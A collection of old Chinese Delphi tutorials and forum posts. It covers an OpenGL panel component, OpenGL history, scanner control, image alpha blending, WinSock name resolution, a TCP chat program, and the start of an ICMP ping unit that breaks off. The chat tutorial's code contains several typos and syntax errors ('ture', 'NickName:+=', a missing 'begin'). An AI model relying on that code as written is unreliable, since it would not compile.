12、将消息与其响应函数连接起来（Delphi中这一步是在定义函数时指定的）

源代码

unit GLPanel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls,OpenGL;

type

TGLPanel = class(TCustomPanel)

private

{ Private declarations }

DC: HDC;

RC: HGLRC;

procedure initDC;

procedure initGL;

procedure PreparePixelFormat(var DC: HDC);

protected

{ Protected declarations }

FOnPaint:TNotifyEvent;

FOnInit:TNotifyEvent;

FOnPreInit:TNotifyEvent;

FOnResize:TNotifyEvent;

procedure Paint;override;

procedure Resize;override;

procedure WMDestroy(var Msg: TWMDestroy);message WM_DESTROY;

procedure WMCreate(var Msg:TWMCreate); message WM_CREATE;

public

{ Public declarations }

constructor Create(Owner:TComponent);override;

published

{ Published declarations }

property Alignment;

property Align;

property DragCursor;

property DragMode;

property Enabled;

property ParentFont;

property ParentShowHint;

property PopupMenu;

property ShowHint;

property TabOrder;

property TabStop;

property Visible;

property OnClick;

property OnDblClick;

property OnDragDrop;

property OnDragOver;

property OnEndDrag;

property OnEnter;

property OnExit;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnStartDrag;

property OnInit:TNotifyEvent read FOnInit write FOnInit;

property OnPreInit:TNotifyEvent read FOnPreInit write FOnPreInit;

property OnResize:TNotifyEvent read FOnResize write FOnResize;

property OnPaint:TNotifyEvent read FOnPaint write FOnPaint;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TGLPanel]);

end;

//-------------------------------------

constructor TGLPanel.Create;

begin

inherited;

end;

//-------------------------------------

procedure TGLPanel.WMDestroy(var Msg: TWMDestroy);

begin

wglMakeCurrent(0, 0);

wglDeleteContext(RC);

ReleaseDC(Handle, DC);

end;

//-------------------------------------

procedure TGLPanel.initDC;

begin

DC := GetDC(Handle);

PreparePixelFormat(DC);

end;

//-------------------------------------

procedure TGLPanel.initGL;

begin

glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);

glMatrixMode(GL_PROJECTION);

glLoadIdentity;

glEnable(GL_LIGHTING);

glEnable(GL_LIGHT0);

glOrtho(-1, 1, -1, 1, -1, 50);

glMatrixMode(GL_MODELVIEW);

glLoadIdentity;

glEnable(GL_DEPTH_TEST);

//注意下面这一行是为了做练习程序时可以直接用glColor指定材质而加的，

// 可能使得光照或表面材质发生意想不到的变化，

// 如果不需要可以去掉或在程序中用glDisable(GL_COLOR_MATERIAL);关闭

glEnable(GL_COLOR_MATERIAL);

glShadeModel(GL_SMOOTH);

gluLookAt(2, 4, 6, 0, 0, 0, 0, 1, 0);

SwapBuffers(DC);

end;

//-------------------------------------

procedure TGLPanel.PreparePixelFormat(var DC: HDC);

var

PFD : TPixelFormatDescriptor;

ChosenPixelFormat : Integer;

begin

FillChar(PFD, SizeOf(TPixelFormatDescriptor), 0);

with PFD do

begin

nSize := SizeOf(TPixelFormatDescriptor);

nVersion := 1;

dwFlags := PFD_DRAW_TO_WINDOW or

PFD_SUPPORT_OPENGL or

PFD_DOUBLEBUFFER;

iPixelType := PFD_TYPE_RGBA;

cColorBits := 16; // 16位颜色

cDepthBits := 32; // 32位深度缓冲

iLayerType := PFD_MAIN_PLANE;

{ Should be 24, but we must allow for the clunky WKU boxes }

end;

ChosenPixelFormat := ChoosePixelFormat(DC, @PFD);

if ChosenPixelFormat = 0 then

Raise Exception.Create('ChoosePixelFormat failed!');

SetPixelFormat(DC, ChosenPixelFormat, @PFD);

end;

procedure TGLPanel.WMCreate(var Msg:TWMCreate);

begin

//在这里做初始化工作

//修改DC的象素格式，使之支持OpenGL绘制

initDC;

RC := wglCreateContext(DC);

wglMakeCurrent(DC, RC);

//初始化GL绘制系统

initGL;

if Assigned(FOnInit) then

begin

if (wglMakeCurrent(DC,RC)=false) then

ShowMessage('wglMakeCurrent:' + IntToStr(GetLastError));

FOnInit(self);

end;

end;

//-------------------------------------

procedure TGLPanel.Paint;

begin

//TCustomPanel::Paint();

if Assigned(FOnPaint) then

begin

wglMakeCurrent(DC,RC);

FOnPaint(self);

SwapBuffers(DC);

end;

end;

//-------------------------------------

procedure TGLPanel.Resize;

begin

inherited;

if Assigned(FOnResize) then

begin

wglMakeCurrent(DC,RC);

glViewport(0,0,ClientWidth,ClientHeight);

FOnResize(self);

end;

end;

end.

以上代码仅用来说明原理及建立一个基本的练习环境，您可以自由使用，转载请注明出处。如果使用从本人主页下载的TGLPanel请遵守内附使用说明的版权申明。如果实际做东西，建议使用Mike Lischke的GLScene控件组(http://www.lischke-online.de/)。

2000.6.23


OpenGL简介
OpenGL简介

OpenGL是OpenGraphicsLib的缩写，是一套三维图形处理库，也是该领域的工业标准。

计算机三维图形是指将用数据描述的三维空间通过计算转换成二维图像并显示或打印出来的技术。

OpenGL就是支持这种转换的程序库，它源于SGI公司为其图形工作站开发的IRIS GL，在跨平台移植过程中发展成为OpenGL。SGI在1992年7月发布1.0版，后成为工业标准，由成立于1992年的独立财团OpenGL Architecture Review Board (ARB)控制。SGI等ARB成员以投票方式产生标准，并制成规范文档(Specification)公布，各软硬件厂商据此开发自己系统上的实现。只有通过了ARB规范全部测试的实现才能称为OpenGL。1995年12月ARB批准了1.1版本，最新版规范是1999.5通过的1.2.1。

OpenGL被设计成独立于硬件，独立于窗口系统的，在运行各种操作系统的各种计算机上都可用，并能在网络环境下以客户/服务器模式工作，是专业图形处理、科学计算等高端应用领域的标准图形库。它低端应用上的主要竞争对手是MS-Direct3D，该图形库是以COM接口形式提供的，所以极为较复杂，稳定性差，另外微软公司拥有该库版权，目前只在Windows平台上可用。D3D的优势在速度上，但现在低价显卡都能提供很好的OpenGL硬件加速，所以做3D使用Direct3D已没有特别的必要，在专业图形处理特别是高端应用方面目前还没有出现以Direct3D技术为基础的例子，而游戏等低端应用也有转向OpenGL的趋势。

微软在Windows NT对OpenGL的支持始于3.51，在Windows9x中的支持始于Win95 OEM Service Release 2。Windows下常用的OpenGL库有两种，MS实现的和SGI实现的，MS-OpenGL调用会自动检测是否存在显示卡制造商提供的ICD(Installable Client DeviceDriver)驱动程序，有则调用ICD中的例程，否则才用CPU进行计算，所以能利用显示卡的OpenGL加速能力。对开发者来说使用方法并没有区别，只是有ICD驱动时更快些。SGI的版本是纯软件实现不能利用硬件加速并且SGI已经在1999年宣布停止支持，但这套库便于调试程序，仍有不少开发者使用。

近日SGI宣布与Intel联手针对当前及未来IA体系的Internet流化SIMD扩展优化OpenGL。这显然意味着OpenGL未来在intel体系及internet应用领域将大放光彩。

SGI曾经宣布研发OpenGL++，该图形库最大的特点是面象对象，提供了树形场景支持，大大减省了使用OpenGL处理复杂场景的工作量。后来(1999)SGI宣布与M$合作开发Ferihant，即Windows的下一代图形处理体系，包括DirectX与OpenGL的低级图形处理接口和以场景图支持为特点的高级接口，并且就此停止对其在Windows下的OpenGL实现的支持以示决心。此举世瞩目，大家都以为Windows图形处理快要过上幸福生活了，然而，不久，SGI宣布中止合作，并撤回派出的科学家，Ferihant基本上夭折。SGI 称终止合作的原因是M$不肯积极合作，光想把SGI 的技术合并进DirectX，真正内幕不详。不过以SGI在图形处理界的老大地位来说，还是有几分可信度的，因为M$初支持OpenGL就不积极。

虽然早在WinNT3.51 时代M$就已经实现了它的OpenGL 版本，但不肯随其Windows95 时提供，称该API 适合高端应用，而Win95面向一般消费者的用不到，并且在其win3.x下开发的wing 图表库的基础上搞出了GameSDK，即后来的DirectX 库，称这套库是专门为高性能游戏开发设计的，在当时的硬件条件下，这无疑是非常有道理的，并且很快成为Windows环境下游戏开发的标准API 。该库实质上是提供了绕过Windows 直接访问显存的途径，从而很好的解决了GDI 体系性能方面的不足，但由于是以COM接口形式提供的，所以相当复杂，而稳定性也不是很好，所以有人称Direct3D 是为追求速度而不择手段的公司才用的。然而也就在这个时期，三维图形加速卡开始走向商用和家用，也就是在这时期S3公司以其性价比极高的带三维图形加速的显示芯片、板卡向当时Trident 公司的霸主地位发起了挑战。另外这时实时三维游戏开始流行，以Dos 下的第一人称射击游戏--暗杀希特勒(3d worlf) 大获成功、红极一时ID Software 的开始铸辉煌，推出了Doom 、Quake1 ，相信这两个名字在今天(2000.4) 的游戏圈子里应该是无人不知无不晓吧？1996.12.ID Software 的高手John Carmack 在开发下一代三维图形引擎时在其.plan 中写上了以下字句：

Direct-3D IM is a horribly broken API. It inflicts great pain and suffering on the programmers using it, without returning any significant advantages. I don't think there is ANY market segment that D3D is apropriate for, OpenGL seems to work just fine for everything from quake to softimage. There is no good technical reason for the existance of D3D.

I'm sure D3D will suck less with each forthcoming version, but this is an oportunity to just bypass dragging the entire development community through the messy evolution of an ill-birthed API.

此后以他为代表的一大批游戏开发人员开始多方呼吁MS积极支持OpenGL。M$终于在Win95的OSR2版本里集成了OpenGL，并为以前版本的Win95免费提供单独的OpenGL实现。(或许您还不了解这些人的影响力，不知道您听说过以生产Voodoo系统图形加速卡而著称于世的3dfx公司吗？当年Quake的开发者不肯用Voodoo的glide API对voodoo做优化版本，差点没把3dfx吓蒙，于是赶紧搞了一个针对游戏的OpenGL子集：MiniGL，让ID Software的人只要在制作OpenGL时只使用MiniGL API做过优化就成，这样Quake总算可以用上voodoo的硬件加速能力了。这样也造就了一个新名词：MCD--MiniGL Client Driver，用于Windows的MiniGL驱动程序，而标准的OpenGL则依靠ICD驱动)。

好了，家常就拉到这里，下回咱们就该正正经经看，在Delphi里使用OpenGL开发三维应用程序是咋回事了。


在delphi里面直接操纵扫描仪
在Delphi中通过扫描仪获得所需的图象信息呢？不外乎有三种基本的方法：

通过图象处理软件，比如说Photoshop等，通过它们的扫描图象的功能，加工成一

定格式的图象后再在自己的系统中利用；

通过扫描仪接口Twain.DLL 。该接口是在安装扫描仪时提供的，它实际上是一个

Plugin插件，它通过一系列函数来控制扫描仪；

通过构件技术来控制扫描仪。

---- 利用第一种方法能减少编程的复杂度，但是系统的集成度不高，用户使用上

也不方便；第二种方法能在驱动程序级直接控制扫描仪，能在编程上提供最大的

灵活性和可控性；第三种方法能充分利用Delphi的可视化构件技术，安全、灵活

、自由地利用扫描仪。其实第三种方法也是建立在扫描仪接口Twain.DLL之上的。

本文论述的方法就采用第三种。

---- Windows9X在其附件中提供了“映象”可选件，该附件是采用OCX构件来控制

扫描仪的，共有imgEdit、imgAnntool、imgScan、imgAdmin 四个，有这四个构件

基本上就能完全控制扫描仪。在Delphi中的用法如下：

在Windows9x中选择安装“映象”。（在控制面板中选择“添加/删除程序”，再

选择“安装Windows”，点击“附件”复选框，然后从“详细资料”按钮中可以找

到“映象”）

启动Delphi，选择“Component”菜单项下的“Import ActiveX Control”，这时

可以看到列表中有“Wang 图象编辑控制、Wang 图象扫描控制、Wang 图象管理控

制、Wang 图象缩略图控制”，选中这四项，然后点击“Install”按钮，这时在

构件面板上的ActiveX舌标下就可以看到这四个构件的图标。

---- ImgScan 的主要属性：FileType：图象的文件类型（该构件支持三种：TIF

F，BMP，AWD）；

ScanTo：返回或设置被扫描图象的目的；

可取值 含义

0 (缺省) 显示被扫描的图象.

1 显示被扫描的图象并写入一个文件.

2 把图象写入一个文件

3 以模板方式把图象写入文件并显示.

4 . 以模板方式把图象写入文件

5 传真被扫描的图象

注意：如果取缺省值0，

必须和 Wang ImgEdit 构件配合使用。

DestImageControl：Wang ImgEdit构件名；

Zoom：图象的放缩比例

ImgScan 的主要方法：OpenScanner ：打开扫描仪；

CloseScanner ：关闭扫描仪；

StartScan ： 开始扫描；

StopScan ： 停止扫描

---- ImgEdit 的属性主要是控制扫描图象的分辨率、图象的宽高、是否允许对图

象进行局部选 择等；其方法主要有拷贝、剪切图象到粘贴板，从粘贴板复制图象

，旋转、放缩、 镜象图象；打印、保存、刷新图象等。

---- 关于上述四个OCX构件的详细使用说明可在Delphi中查看其自带的帮助系统

。

---- 下面是使用这两个构件的一些例子：

procedure Tscanf.N1Click(Sender: TObject);

begin

ImgScan1.ShowSelectScanner;

//选择系统中已安装的扫描仪

end;

procedure Tscanf.N2Click(Sender: TObject);

begin

imgedit1.zoom:=100; //设置图象的放缩因子

if not imgscan1.ScannerAvailable then

//如果选择的扫描仪不可用

imgscan1.OpenScanner;//打开扫描仪

imgscan1.StartScan; //开始扫描图象

imgscan1.CloseScanner; //关闭扫描仪

end;

procedure Tscanf.N8Click(Sender: TObject);

begin

if (imgedit1.IsClipboardDataAvailable

and imgedit1.ImageDisplayed ) then

imgedit1.ClipboardPaste(selleft,seltop);

//从剪贴板粘贴图象，其参数为Imgedit的显示区域的起始坐标

end;

procedure Tscanf.N1801Click(Sender: TObject);

begin

if imgedit1.ImageDisplayed then

imgedit1.Flip; //镜象图象

end;

procedure Tscanf.N901Click(Sender: TObject);

begin

if imgedit1.ImageDisplayed then

imgedit1.RotateRight //向右旋转图象

end;

procedure Tscanf.N6Click(Sender: TObject);

begin

imgedit1.DrawSelectionRect(selleft,

seltop,selwidth,selheight);//进行图象局部选择

imgedit1.ClipboardCut(selleft,seltop,

selwidth,selheight);//剪切所选区域

end;

---- 注意：在DELPHI中使用Imgedit构件的拷贝和剪切功能时，会出现以下问题

：

---- 1、 如果把整幅图象都选中，没有任何问题；

---- 2、 如果选择了局部区域，则拷贝和剪切的区域会发生漂移；

---- 3、 如果DELPHI做的是MS SQL后端数据库的客户端界面，那么在把图象内容

写入数据库的图象字段中时，BDE（数据库引擎）会报错。这是DELPHI3。0和4。

0的BUG，4。0的升级包可以解决这个问题。

---- 至于第二个问题，可这样解决：在Imgedit的onSelectionRectDrawn事件中

写一段代码，把选择区域的边界值保存到四个全局变量中，在拷贝和剪切之前用

先前保存的变量再进行一次选择即可（当然，这一切都在后台进行的，见前面的

例子）。


畫布度量單位的設置
譬如说我想划一条1厘米的线段，究竟该划多少个象素？

> 在不同的分辨率下，又该如何确定呢？

SetMapMode(Canvas.Handle, MM_METRIC);

这样你的Canvas就是以0.1mm为单位。

如果Canvas.Rectangle(0, 0, 100, 100)就是边长为1厘米的正方形。

关于SetMapMode的参数，具体请查看MSDN。


关于图像的一些讨论
大富翁论坛版权所有

来自：crazycock, 时间：2002-1-5 20:46:00, ID：837114

目的：将一张BMP图像（简称A)的中间某个区域进行羽化，然后和另外一张BMP图(简称B)（例如一个像框的图象 ），然后让两张图像合并，让B的中间（即非像框区域）为透明，显示出A在这个区域中间，另外，A在B的中间 显示出来的内容的边缘是经过羽化的，并非直接拼在一起。

有以下几个问题：

1。如何实现BMP图中，规则区域边缘的羽化问题（就是说其中一块圆形或矩形的区域），无论控件实现或者自 己写代码都可。

2。如何实现图像透明的效果。（我认为可以这样考虑，让B图需要透明的地方用某个颜色，然后建立一个BMP图 C，在C图上写内容，从B图某个点开始读，如果B图中的某个点不是那个预先设定的“透明颜色”，那么就往C图 上填B的点，如果读到B图上某个点是“透明点”，那么就写对应位置A图的点的内容，不知道这样考虑是否合适 ？？）

3。如何实现两个图像内容的颜色累加，也就是说两张图的累加效果？是直接将他们的RGB值累加吗？或者求平 均值？？

4。控件我找了很多，大富翁里有关的问题我也找了，不过好象没有能够完全解决我的问题的答案，希望大家讨 论一下。

来自：vine, 时间：2002-1-5 20:52:00, ID：837123

》如何通过算法设置出象photoshop里一幅图象在另一幅图象上如何透明地显示,

并且可以设置透明度,如50%的透明度。并不是单幅图象的透明性。

Tbitmap有关的属性:

1.TansparentColor: 透明色；

2.PixelFormat:指明每一象点颜色所占的二进位数；

pf16bit: 点2字节；

pf24bit: 3字节；

pf32bit: 4字节;

3.ScanLine[行号]；每一行象素缓冲的首址，即数组

的首址，每一象点占连续字节；

有了上面的3个属性，就可以写出合成2幅图象的算法；

算法：

for 第0行 到 最后一行

for 第0列 TO 最后一列

begin

1.取第一幅一个象点c1;

2.取第二幅一个象点c2；

3.如果c1是透明色,c3:=c2;

如果c2是透明色,c3:=c1;

4.送c3

end

我有个效率不高（速度很慢），但效果绝对好的算法：

for 第0行 到 最后一行

for 第0列 TO 最后一列

begin

1.取第一幅一个像点c1的R色 c1R;

2.取第二幅一个像点c2的R色 c2R；

3.新像点的R色 cR := (c1R*K+c2R*(1-K));

4.取第一幅一个像点c1的G色 c1G;

5.取第二幅一个像点c2的G色 c2G；

6.新像点的G色 cG := (c1G*K+c2G*(1-K));

7.取第一幅一个像点c1的B色 c1B;

8.取第二幅一个像点c2的B色 c2B；

9.新像点的B色 cB := (c1B*K+c2B*(1-K));

10.新像点的RGB色 cRGB := RGB(cR,cG,cB);

end

其中 K 是2个图合并时，第一幅图的权重。改变这个 K 值可以得到一个渐变的效果。

可将下面代码转换为DELPHI代码就可：

CDC memDC;

CBitmap &cBitmap=m_bmpDraw;

CBitmap* pOldMemBmp = NULL;

COLORREF col,colMask;

CRect cRect;

int x, y;

CRgn wndRgn, rgnTemp;

GetWindowRect(&cRect);

CPoint ptOrg=cRect.TopLeft();

BITMAP bmInfo;

cBitmap.GetObject(sizeof(bmInfo),&bmInfo);

CRect rcNewWnd=CRect(ptOrg,CSize(bmInfo.bmWidth,bmInfo.bmHeight));

memDC.CreateCompatibleDC(pDC);

pOldMemBmp = memDC.SelectObject(&cBitmap);

colMask=memDC.GetPixel(0,0);

wndRgn.CreateRectRgn(0, 0, rcNewWnd.Width(), rcNewWnd.Height());

for(x=0; x<=rcNewWnd.Width(); x++)

{

for(y=0; y<=rcNewWnd.Height(); y++)

{

col = memDC.GetPixel(x, y);

if(col == colMask)

{

rgnTemp.CreateRectRgn(x, y, x+1, y+1);

wndRgn.CombineRgn(&wndRgn, &rgnTemp, RGN_XOR);

rgnTemp.DeleteObject();

}

}

}

if (pOldMemBmp) memDC.SelectObject(pOldMemBmp);

SetWindowRgn((HRGN)wndRgn, TRUE);

MoveWindow(rcNewWnd);

呵呵！看来这些人没明白你的意思呀！我曾经研究过这个问题，不过我是用VC做的，不知道用DELPHI怎么做， 不过我可以把算法告诉你：取得两幅为图在每一点的像素值，分离出R，G，B的值，生成位图相应像素的R，G， B由下面公式决定：R=kR1+(1-k)R2 G=kG1+(1-k)G2 B=kB1+(1-k)B2 k为透明度，范围是0%-100% ， R1,R2,G1,G2,B1,B2为混合的两幅位图分离出来的R，G，B值，R，G，B为混合后的相应像素的R，G，B值。

APIer(APIer)　(2001-1-2 17:01:00) 得0分

使用DDraw吧，这是一个简单的Alpha特效啊。

nononono的方法是可行的，但是使用了太多的乘法，还要用到浮点，在16位位图游戏编程中，大家通常使用这 样的方法来进行Alpha混合：

1先分色并移位

2进行混色：(混色深度为32，足够了)

DestColor= (RscColor-DestColor)*Alpha_Depth〉〉5+DestColor；（R.G.B分别计算）

3最后合色

nononono(null,null)　(2001-1-7 12:39:00) 得0分

akuan,这样试试：

分离RGB3色用"位与"、"移位"运算的方法；

透明的比例按 32、16分级。

如：如果是按32级，

A图的权重 K = n/32，则B图的权重 = (32-n)/32，

可以得到这样的算法：

cR := (c1R*n+c2R*(32-n));

再对cR右移4位。

这样的算法要快很多。

来自：YB_unique, 时间：2002-1-6 10:44:00, ID：837724

My God！问题好多啊！^_^

1。羽化就是色彩的平滑淡化处理。要卷老兄贴算法给你吧！

2。透明效果就是布尔运算而已，别想得太复杂！

3。颜色累加看你追求的效果而言，非得取平均值也无可非议。说来说去就是Blend。

4。不知道你是如何搜索论坛资源的，我的记忆中 2 和 3 在论坛里都有答案！

来自：卷起千堆雪tyn, 时间：2002-1-6 19:20:00, ID：838678

归结起来就是一个Alpha混合的问题！

留下MAIL，我发给你一个完整的例程，自己去研究；可以满足你的要求。

来自：卷起千堆雪tyn, 时间：2002-1-6 21:54:00, ID：838964

通常的位图都是包括R、G、B三个通道；但在某些位图里，还附有一个Alpha通道。那么这个通道是用来做什么的呢？这个通道一般是保存位图颜色位数深度、透明度等等信息的，只要你修改这个通道的信息，就会改变整个位图的性质，比如实现透明、遮罩、轨迹、融合、渐层覆盖等效果.

来自：coolbaby, 时间：2002-1-7 21:03:00, ID：841332

卷起千堆雪tyn兄 ：

colortorgb以后，是不是 不是所有的图都有alpha通道的信息？

来自：卷起千堆雪tyn, 时间：2002-1-7 21:06:00, ID：841343

colortorgb仅仅是将TColor转变为LongInt，没有包含什么Alpha通道的信息；

Alpha通道是自己余外定义的。

可以看看TColor的定义。


解析IP地址为主机域名
解析IP地址为主机域名。

使用 WinSock 单元；

过程如下：

function IPAddrToName(IPAddr : String): String;

var

SockAddrIn: TSockAddrIn;

HostEnt: PHostEnt;

WSAData: TWSAData;

begin

WSAStartup($101, WSAData);

SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));

HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);

if HostEnt<>nil then

begin

result:=StrPas(Hostent^.h_name)

end

else

begin

result:='';

end;

end;

测试时请在在线状态。

测试代码：

var

Name: string;

begin

Name := InputBox('输入对方主机IP', '主机IP地址：', '');

showmessage(IpAddrToName(Name));

end;

作者：Latfi Baran

******************************

//uses winsock; 通过IP地址得到机器名

function iptoname(ip:string):string;

var

WSAData:TWSAData;

p:PHostEnt;

InetAddr:dword;

begin

result:='''';

WSAStartup(2, WSAData);

InetAddr:= inet_addr(PChar(IP));

try

p:=GetHostByAddr(@InetAddr, Length(IP), PF_Inet);

if p<> nil then result:=p^.h_name;

except

result:='''';

end;

end;

这段代码我试过， 不过只对局域网的机器有效，对internet上的机器不行，且速度不太快

我有看到相关的资料，是通过udp协议，往远程机器的137端口发送UDP报文，远程机器会返回

数据，其中就有远程机器的当前用户名，机器名称等信息，但如何具体实现我就不太清楚了


将某一主机域名解析为IP地址
将某一主机域名解析为IP地址。

使用 WinSock 单元；

过程如下：

function HostToIP(Name: string; var Ip: string): Boolean;

var

wsdata : TWSAData;

hostName : array [0..255] of char;

hostEnt : PHostEnt;

addr : PChar;

begin

WSAStartup ($0101, wsdata);

try

gethostname (hostName, sizeof (hostName));

StrPCopy(hostName, Name);

hostEnt := gethostbyname (hostName);

if Assigned (hostEnt) then

if Assigned (hostEnt^.h_addr_list) then begin

addr := hostEnt^.h_addr_list^;

if Assigned (addr) then begin

IP := Format ('%d.%d.%d.%d', [byte (addr [0]),

byte (addr [1]), byte (addr [2]), byte (addr [3])]);

Result := True;

end

else

Result := False;

end

else

Result := False

else begin

Result := False;

end;

finally

WSACleanup;

end

end;

测试时请在在线状态。

测试代码：

var

IP: string;

DNS: string;

begin

DNS := InputBox('输入DNS域名', '主机名称：', '');

if HostToIp(DNS, IP) then showmessage(IP);

end;

作者：Latfi Baran

我测试Kingron给出的用法时，hostEnt老是=nil。

后来我在用gethostbyname(...)之前，加入WSAStartup(...),终于一切OK。

Winsock单元中没有getaddressbyname()


使用TCP/IP协议实现聊天程序
使用TCP/IP协议实现聊天程序

TCP/IP协议的传输即面向点到点的传输方式！

1.创建应用程序。

选择“NEW”菜单下的“Application”选项，创建一个普通的应用程序。

2.创建所需控件。

首先在控件栏的Win32页中选择ImageList控件和CoolBar控件，再从Win32栏选择ToolBar控件放置到CoolBar

控件上。用鼠标右键单击“ImageList”控件，在弹出的菜单中选择“ImageList Editer...”选项，弹出

“ImageList Editer”对话框，单击“Add...”按钮，选择5幅位图。在对象管理器Object Inspector中将

ToolBar控件的Image属性设为“ImageList1”，用鼠标右键单击“ToolBar”控件，选“New Button”选项，

总共创建5个ToolButton，在 对象管理器中将5个ToolButton的ImageIndex属性分别设置为0，1，2，3，4。

此时ImageList控件中的5幅位图将会分别显示在Toolbutton上，将5个ToolButton控件的ShowHint属性全都设

置为“ture”，并将它们的Hint属性分别设置为“监听”、“连接”、“断开连接”、“更改你的昵称”和

“退出聊天程序”。

然后在窗体中放置一个Edit控件、Memo控件、StatusBar控件和一个Label控件。将Label控件的Caption属性

设置为“输入框”。

最后，也是最关键的，在控件栏的Internet页中选择SeverSocket控件和ClientSocket控件放置在窗体中，将

SeverSocket控件和ClientSocket控件的Port属性设置为“1100”。SeverSocket控件是基于TCP/IP协议传输

的服务器方的控件，它的主要作用是用来监听其它基于TCP/IP传输计算机的连接请求，并在收到连接请求时

建立连接，进行数据传输，ClientSocket控件是基于TCP/IP传输的客户方的控件，它的主要作用是向监听

TCP/IP传输的服务器发出连接请求，在收到服务器的允许连接的响应后，建立连接，并传输数据，之所以在

窗体中同时创建ServerSocket和ClientSocket控件，是因为应用程序既可作为服务器,又可作为客户端使用。

3.Serversocket和ClientSocket之间的连接

首先设置两个全局变量：

NickName:string;

b_Client:boolean;

其中NickName用于放聊天人的名称，b_Client用于表明应用程序是否作为客户端进行数据传输。

在窗体Form1的Oncreate事件中初始化变量，代码如下：

procedure TForm1.FormCreate(Sender:TObject);

begin

NickName:+="我的昵称";

b_Client:=ture;

end;

双击ToolButton1，编写服务器监听代码如下：

procedure TForm1.Toolbutton1Click(Sender:TObject);

begin

ClientSocket1.close;

ServerSocket1.open;

StatusBar1.SimpleText:='开始监听’；

end;

双击ToolButton2,编写客户的申请连接，代码如下：

procedure TForm1.ToolButton2Click(Sender:TObject);

var s:string;

begin

if Clientsocket1.Active then

ClientSocket1.close;

if InputQuery('连接到计算机','要连接的计算机名称或IP地址：',s) then

if Length(s)>0 then

with ClientSocket1 do

begin

Host:=s;

open;

end;

end;

在对象管理器中，双击ClientSocket事件页的OnConnecting事件，编写处理客户等待连接请求，代码

如下：

procedure TForm1.ClientSocket1Connecting(Sender:TObject;Socket:TCustomWinSocket);

begin

StatusBar1.SimpleText:='等待来自'+Socket.RemoteAddress+'的连接允许响应...';

end;

在对象管理器中，双击SeverSocket事件页的OnAccept事件，处理服务器响应连接事件，代码如下：

procedure TForm1.SeverSocket1Accept(Sender:TObject;Socket:TCustomWinSocket);

begin

b_Client:=false;

StatusBar1.SimpleText:='连接到'+Socket.RemoteAddress;

end;

在对象管理器中，双击ClientSocket事件页的OnConnect事件，OnConnect事件在连接成功时被调用，代码如下：

procedure TForm1.ClientSocket1Connect(Sender:TObject;Socket:TCustomWinSocket);

begin

b_Client:=ture;

StatusBar1.SimpleText:='连接成功';

end;

4.ServerSocket和ClientSocket之间的数据传输

聊天的内容是通过Edit控件输入并在敲回车键后显示在Memo控件中，再传输到与之连接的计算机中。

Edit的OnKeyDown事件代码如下：

procedure TForm1.Edit1KeyDown(Sender:TObject;var Key:Word;Shift:TShiftState);

begin

if Key=VK_Return then

begin

Memo1.Lines.Add(NickName+':'+Edit1.Text0;

if b_Client then

ClientSocket1.Socket.SendText(Memo1.Lines[Memo1.lines.Count-1])

else

ServerSocket1.Socket.Connections[0].SendText(Memo1.Lines[Memo1.lines.Count-1]);

end;

end;

在ServerSocket控件的onread事件中编写服务器接收到数据后的动作，代码如下：

procedure TForm1.ServerSocket1ClientRead(Sender:TObject;Socket:TCustomWinSocket);

begin

Memo1.lines.Add(Socket.ReceiveText);

end;

在ClientSocket控件的onread事件中编写客户端接收到数据后的动作，代码如下：

procedure TForm1.ClientSocket1Read(Sender:TObject;Socket:TCustomWinSocket);

begin

Memo1.lines.Add(Socket.ReceiveText);

end;

5.断开Serversocket和ClientSocket之间的连接

双击ToolButton3,编写客户端断开的处理过程，代码如下：

procedure TForm1.ToolButton3Click(Sender:TObject);

begin

ClientSocket1.close;

StatusBar1.SimpleText:='断开连接';

end;

编写服务器响应客户端断开的处理过程，代码如下：

procedure TForm1.ServerSocket1ClientDisconnect(Sender:TObject;Socket:TCustomWinSocket);

begin

SeverSocket1.close;

StatusBar1.SimpleText:='断开连接';

end;

6.更改聊天者的昵称

双击Toolbutton4,编写更改昵称代码如下：

procedure TForm1.ToolButton4Click(sender:TObject);

var

s:string;

begin

if InputQuery('更改昵称','你的新昵称',s) then

if Length(s)>0 then

NickName:=s;

end;

7.退出应用程序

双击Toolbutton5，编写退出应用程序代码如下：

procedure TForm1.ToolButton5Click(sender:TObject);

ClientSocket1.close;

ServerSocket1.close;

Form1.close;

end;

8.保存并运行应用程序

最好在网上运行该程序，如果没联网，但你的计算机支持TCP/IP协议（可以通过网络邻居安装TCP/IP协议），

你可以在你的计算机上从“我的电脑”中运行该应用程序的两个实例。运行后，将一个聊天程序作为服务器监

听，另一个聊天程序作为客户与服务器连接并聊天。局域网中同样可以运行！！！


如何实现PING功能测试某一IP地址通迅状况?
PING实际上是用ICMP.dll中的一组函数实现的。我这儿有一个能在Delphi里面用的类，比较长，你粘走用就是了。

unit icmp;

interface

{$IFDEF VER80}

// This source file is *NOT* compatible with Delphi 1 because it uses

// Win 32 features.

{$ENDIF}

uses

Windows, SysUtils, Classes, WinSock;

const

IcmpVersion = 102;

IcmpDLL = 'icmp.dll';

// IP status codes returned to transports and user IOCTLs.

IP_SUCCESS = 0;

IP_STATUS_BASE = 11000;

IP_BUF_TOO_SMALL = (IP_STATUS_BASE + 1);

IP_DEST_NET_UNREACHABLE = (IP_STATUS_BASE + 2);

IP_DEST_HOST_UNREACHABLE = (IP_STATUS_BASE + 3);

IP_DEST_PROT_UNREACHABLE = (IP_STATUS_BASE + 4);

IP_DEST_PORT_UNREACHABLE = (IP_STATUS_BASE + 5);

IP_NO_RESOURCES = (IP_STATUS_BASE + 6);

IP_BAD_OPTION = (IP_STATUS_BASE + 7);

IP_HW_ERROR = (IP_STATUS_BASE + 8);

IP_PACKET_TOO_BIG = (IP_STATUS_BASE + 9);

IP_REQ_TIMED_OUT = (IP_STATUS_BASE + 10);

IP_BAD_REQ = (IP_STATUS_BASE + 11);

IP_BAD_ROUTE = (IP_STATUS_BASE + 12);

IP_TTL_EXPIRED_TRANSIT = (IP_STATUS_BASE + 13);

IP_TTL_EXPIRED_REASSEM = (IP_STATUS_BASE + 14);

IP_PARAM_PROBLEM = (IP_STATUS_BASE + 15);

IP_SOURCE_QUENCH = (IP_STATUS_BASE + 16);

IP_OPTION_TOO_BIG = (IP_STATUS_BASE + 17);

IP_BAD_DESTINATION = (IP_STATUS_BASE + 18);

// status codes passed up on status indications.

